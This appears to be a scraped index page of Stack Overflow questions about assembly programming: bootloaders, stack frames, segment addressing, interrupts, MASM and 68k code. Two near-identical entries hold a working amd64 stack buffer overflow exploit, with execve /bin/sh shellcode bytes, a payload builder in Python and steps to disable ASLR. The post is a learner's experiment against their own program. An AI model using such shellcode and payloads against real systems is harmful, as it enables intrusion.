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  • Equivalents to Z80 DJNZ instruction on other architectures?

    - by Justin Ethier
    First a little background. The z80 CPU has an instruction called DJNZ which can be used in a similar manner as a for loop. Basically DJNZ decrements the B register and jumps to a label if not zero. For example: ld b,96 ; erase all of the line disp_version_erase_loop: call _vputblank ; erase pixels at cursor (uses b reg) djnz disp_version_erase_loop ; loop Of course you can do the same thing using regular comparison and jump instructions, but often it is handy to use the single instruction. With that out of the way, my question is, do other CPU architectures include a similar control instruction?

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  • Polled I/O on MIPS

    - by Krewie
    Hello , i'm currently implementing a calculator in MIPS which uses the polled I/O method for fetching information. I put a beq $v0, 120, exit # exit if input = ('x') on the main part of the code to tell that whenever something is fetched is equal to x, it should branch the exit function. The only problem is that my code works fine with the keyboard/display simulator on MARS but i get the interrupt exception 6 on SPIM. Why is this happening and how can i help it ? //Thx in advance

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  • Problem with bootstrap loader and kernel

    - by dboarman-FissureStudios
    We are working on a project to learn how to write a kernel and learn the ins and outs. We have a bootstrap loader written and it appears to work. However we are having a problem with the kernel loading. I'll start with the first part: bootloader.asm: [BITS 16] [ORG 0x0000] ; ; all the stuff in between ; ; the bottom of the bootstrap loader datasector dw 0x0000 cluster dw 0x0000 ImageName db "KERNEL SYS" msgLoading db 0x0D, 0x0A, "Loading Kernel Shell", 0x0D, 0x0A, 0x00 msgCRLF db 0x0D, 0x0A, 0x00 msgProgress db ".", 0x00 msgFailure db 0x0D, 0x0A, "ERROR : Press key to reboot", 0x00 TIMES 510-($-$$) DB 0 DW 0xAA55 ;************************************************************************* The bootloader.asm is too long for the editor without causing it to chug and choke. In addition, the bootloader and kernel do work within bochs as we do get the message "Welcome to our OS". Anyway, the following is what we have for a kernel at this point. kernel.asm: [BITS 16] [ORG 0x0000] [SEGMENT .text] ; code segment mov ax, 0x0100 ; location where kernel is loaded mov ds, ax mov es, ax cli mov ss, ax ; stack segment mov sp, 0xFFFF ; stack pointer at 64k limit sti mov si, strWelcomeMsg ; load message call _disp_str mov ah, 0x00 int 0x16 ; interrupt: await keypress int 0x19 ; interrupt: reboot _disp_str: lodsb ; load next character or al, al ; test for NUL character jz .DONE mov ah, 0x0E ; BIOS teletype mov bh, 0x00 ; display page 0 mov bl, 0x07 ; text attribute int 0x10 ; interrupt: invoke BIOS jmp _disp_str .DONE: ret [SEGMENT .data] ; initialized data segment strWelcomeMsg db "Welcome to our OS", 0x00 [SEGMENT .bss] ; uninitialized data segment Using nasm 2.06rc2 I compile as such: nasm bootloader.asm -o bootloader.bin -f bin nasm kernel.asm -o kernel.sys -f bin We write bootloader.bin to the floppy as such: dd if=bootloader.bin bs=512 count=1 of/dev/fd0 We write kernel.sys to the floppy as such: cp kernel.sys /dev/fd0 As I stated, this works in bochs. But booting from the floppy we get output like so: Loading Kernel Shell ........... ERROR : Press key to reboot Other specifics: OpenSUSE 11.2, GNOME desktop, AMD x64 Any other information I may have missed, feel free to ask. I tried to get everything in here that would be needed. If I need to, I can find a way to get the entire bootloader.asm posted somewhere. We are not really interested in using GRUB either for several reasons. This could change, but we want to see this boot successful before we really consider GRUB.

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  • branch prediction

    - by Alexander
    Consider the following sequence of actual outcomes for a single static branch. T means the branch is taken. N means the branch is not taken. For this question, assume that this is the only branch in the program. T T T N T N T T T N T N T T T N T N Assume a two-level branch predictor that uses one bit of branch history—i.e., a one-bit BHR. Since there is only one branch in the program, it does not matter how the BHR is concatenated with the branch PC to index the BHT. Assume that the BHT uses one-bit counters and that, again, all entries are initialized to N. Which of the branches in this sequence would be mis-predicted? Use the table below. Now I am not asking answers to this question, rather than guides and pointers on this. What does a two level branch predictor means and how does it works? What does the BHR and BHT stands for?

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  • Passing paramenters on the stack

    - by oxinabox.ucc.asn.au
    When you pass parameters to a function on the cpu stack, You put the parameters on then JSR puts the return address on the stack. So than means in your function you must take the top item of the stack (the return address) before you can take the others off) eg is the following the correct way to go about it: ... |Let’s do some addition with a function, MOVE.L #4, -(SP) MOVE.L #5, -(SP) JSR add |the result of the addition (4+5) is in D0 (9) ... add: MOVE.L (SP)+, A1 |store the return address |in a register MOVE.L D0, -(SP) |get 1st parameter, put in D0 MOVE.L D2, -(SP) |get 2nd parameter, put in D0 ADD.L D2, D0 |add them, |storing the result in D0 MOVE.L A1, -(SP) |put the address back on the |Stack RTS |return

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  • Doubt about the Intel's IA-32 software developer manual

    - by Francesco Turco
    I'm studying the Intel's IA-32 software developer manual. In particular, I'm reading the following manual: http://www.intel.com/Assets/PDF/manual/253666.pdf. Let's take for example the ADD instruction. On page 79 it is written that you can an r8 (8-bit register) to an r/m8 (8-bit register or memory location). A few rows below, it is also written that you can add an r/m8 to an r8. The question is: if I add two 8-bit registers, which instruction I am using? Thanks.

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • High level macro not recognized - Beginner MASM

    - by Francisco P.
    main proc finit .while ang < 91 invoke func, ang fstp res print real8$(ang), 13, 10 print real8$(res), 13, 10 fld ang fld1 fadd fstp ang .endw ret main endp What's wrong with this piece of MASM code? I get an error on .endw. I have ran some tests to ensure myself of that. Assembler tells me invalid instruction operands. Thank you for your time!

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  • How to keep unreachable code?

    - by Gabriel
    I'd like to write a function that would have some optional code to execute or not depending on user settings. The function is cpu-intensive and having ifs in it would be slow since the branch predictor is not that good. My idea is making a copy in memory of the function and replace NOPs with jumps when I don't want to execute some code. My working example goes like this: int Test() { int x = 2; for (int i=0 ; i<10 ; i++) { x *= 2; __asm {NOP}; // to skip it replace this __asm {NOP}; // by JMP 2 (after the goto) x *= 2; // Op to skip or not x *= 2; } return x; } In my test's main, I copy this function into a newly allocated executable memory and replace the NOPs by a JMP 2 so that the following x *= 2 is not executed. The problem is that I would have to change the JMP operand every time I change the code to be skipped. An alternative that would fix this problem would be: __asm {NOP}; // to skip it replace this __asm {NOP}; // by JMP 2 (after the goto) goto dont_do_it; x *= 2; // Op to skip or not dont_do_it: x *= 2; This way, as a goto uses 2 bytes of binary, I would be able to replace the NOPs by a fixed JMP of alway 2 in order to skip the goto. Unfortunately, in full optimization mode, the goto and the x*=2 are removed because they are unreachable at compilation time. Hence the need to keep that dead code.

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  • why gcc 4.x default reserve 8 bytes for stack on linux when calling a method?

    - by nikcname
    as a beginner of asm, I am checking gcc -S generated asm code to learn. why gcc 4.x default reserve 8 bytes for stack when calling a method? func18 is the empty function with no return no param no local var defined. I can't figure out why 8 bytes is reserved here (neither any forum/site mention for the reason, ppl seems take it for granted) is it for the %ebp just push? or return type?! many thx! .globl _func18 _func18: pushl %ebp movl %esp, %ebp subl $8, %esp .text

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  • why gcc 4.x default reserve 8 bytes for stack on linux when calling a method?

    - by nikcname
    as a beginner of asm, I am checking gcc -S generated asm code to learn. why gcc 4.x default reserve 8 bytes for stack when calling a method? func18 is the empty function with no return no param no local var defined. I can't figure out why 8 bytes is reserved here (neither any forum/site mention for the reason, ppl seems take it for granted) is it for the %ebp just push? or return type?! many thx! .globl _func18 _func18: pushl %ebp movl %esp, %ebp subl $8, %esp .text

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  • output byte value in assembler

    - by altvali
    I'm a bit ashamed about asking this, but how do i output the value of a byte in assembler? Suppose I have the number 62 in the AL register. I'm targeting an 8086. There seem to be available only interrupts that output it's ascii value.

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  • What about Programmer "Invisible" registers?

    - by claws
    These are "Programmer Visible" x86-64 registers: What about the invisible registers? Just now I learned that MMU registers, Interrupt Descriptor Table (IDT) uses these invisible registers. I'm learning these things in the hard way. Is there any resource (book/documentation/etc) that gives me the complete picture at once? I am aware of the programmer visible registers and comfortable in programming with them. I just want to learn about invisible registers and their functionality. I want to get a complete picture. Where can I get this info?

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  • reading a BYTE as a DWORD in Masm

    - by Help I'm in college
    Hi, once again I'm doing MASM programming. I'm trying to write a procedure using the Irvine32 library where the user enters a string which is put into an array of BYTEs with ReadString. Then it loops over that arrray and determines if each character is a number. However, when I try cmp [buffer + ecx], 30h MASM complains about comparing two things that are not the same size. Is there anyway I could read the ASCII code in each BYTE in the array as a DWORD (or otherwise extract the ASCII value in each BYTE)?

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • Questions a bout "interrupt"

    - by smwikipedia
    Could someone help me clarify the following conecpts, and the relationship among them? Maskable interrupt Unmaskable interrupt Hardware interrupt Software interrupt CPU INTR pin the IF bit of EFlags register Some specific questions: What's the relationship between Maskable/Unmaskable interrupt and Hardware/Software interrupt? What kind of interrupts does INTR pin detect? What kind of interrupts are enabled/disabled by IF bit of EFlags register? What kind of interrupts need the presence of an interrupt controller? Many thanks.

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  • Address of function is not actual code address

    - by mrjoltcola
    Debugging some code in Visual Studio 2008 (C++), I noticed that the address in my function pointer variable is not the actual address of the function itself. This is an extern "C" function. int main() { void (*printaddr)(const char *) = &print; // debug shows printaddr == 0x013C1429 } Address: 0x013C4F10 void print() { ... } The disassembly of taking the function address is: void (*printaddr)(const char *) = &print; 013C7465 C7 45 BC 29 14 3C 01 mov dword ptr [printaddr],offset print (13C1429h) What am I missing?

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  • How is return address specified in stack?

    - by Mask
    This is what I see by disassemble for the statement function(1,2,3);: movl $0x3,0x8(%esp) movl $0x2,0x4(%esp) movl $0x1,(%esp) call 0x4012d0 <_Z8functioniii> It seems the ret address is not pushed into stack at all,then how does ret work?

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  • Passing parameters on the stack

    - by oxinabox.ucc.asn.au
    When you pass parameters to a function on the cpu stack, You put the parameters on then JSR puts the return address on the stack. So that means in your function you must take the top item of the stack (the return address) before you can take the others off) eg is the following the correct way to go about it: ... |Let’s do some addition with a function, MOVE.L #4, -(SP) MOVE.L #5, -(SP) JSR add |the result of the addition (4+5) is in D0 (9) ... add: MOVE.L (SP)+, A1 |store the return address |in a register MOVE.L (SP)+, D0 |get 1st parameter, put in D0 MOVE.L (SP)+, D2 |get 2nd parameter, put in D2 ADD.L D2, D0 |add them, |storing the result in D0 MOVE.L A1, -(SP) |put the address back on the |Stack RTS |return

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  • Best resource for serious Commodore 64 programming.

    - by postfuturist
    What is the best resource for serious Commodore 64 programming? Assume that serious programming on the Commodore 64 is not done in BASIC V2 that ships with the Commodore 64. I feel like most of the knowledge is tied up in old books and not available on the internet. All that I have found online are either very beginner style introductions to Commodore 64 programming (Hello world), or arcane demo-coder hacks to take advantage of strange parts of the hardware. I haven't found a well-explained list of opcodes, memory locations for system calls, and general mid-level examples and tips. Main portals I have found: lemon64 C-64 Scene Database c64web Actually hosted on a Commodore 64! Tools I have found: cc65 A C compiler that can target Commodore 64.

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  • Segment register, IP register and memory addressing issue!

    - by Zia ur Rahman
    In the following text I asked two questions and I also described that what I know about these question so that you can understand my thinking. Your precious comments about the below text are required. Below is the Detail of 1ST Question As we know that if we have one mega byte memory then we need 20 bits to address this memory. Another thing is each memory cell has a physical address which is of 20 bits in 1Mb memory. IP register in IAPX88 is of 16 bits. Now my point of view is, we can not access the memory at all by the IP register because the memory need 20 bit address to be addressed but the IP register is of 16 bits. If we have a memory of 64k then IP register can access this memory because this memory needs 16 bits to be addressed. But incase of 1mb memory IP can’t.tell me am i right or not if not why? Suppose physical address of memory is 11000000000000000101 Now how can we access this memory location by 16 bits. Below is the detail of Next Question: My next question is , suppose IP register is pointing to memory location, and the segment register is also pointing to a memory location (start of the segment), the memory is of 1MB, how we can access a memory location by these two 16 bit registers tell me the sequence of steps how the 20 bits addressable memory location is accessed . If your answer is, we take the segment value and we shift it left by 4 bits and then add the IP value into it to get the 20 bits address, then this raises another question that is the address bus (the address bus should be 20 bits wide), the registers both the segment register and the IP register are of 16 bits each , now if address bus is 20 bits wide then this means that the address bus is connected to both these registers. If its not the case then another thing that comes into my mind is that both these registers generate a 20 bit address and there would be a register which can store 20 bits and this register would be connected to both these register and the address bus as well.

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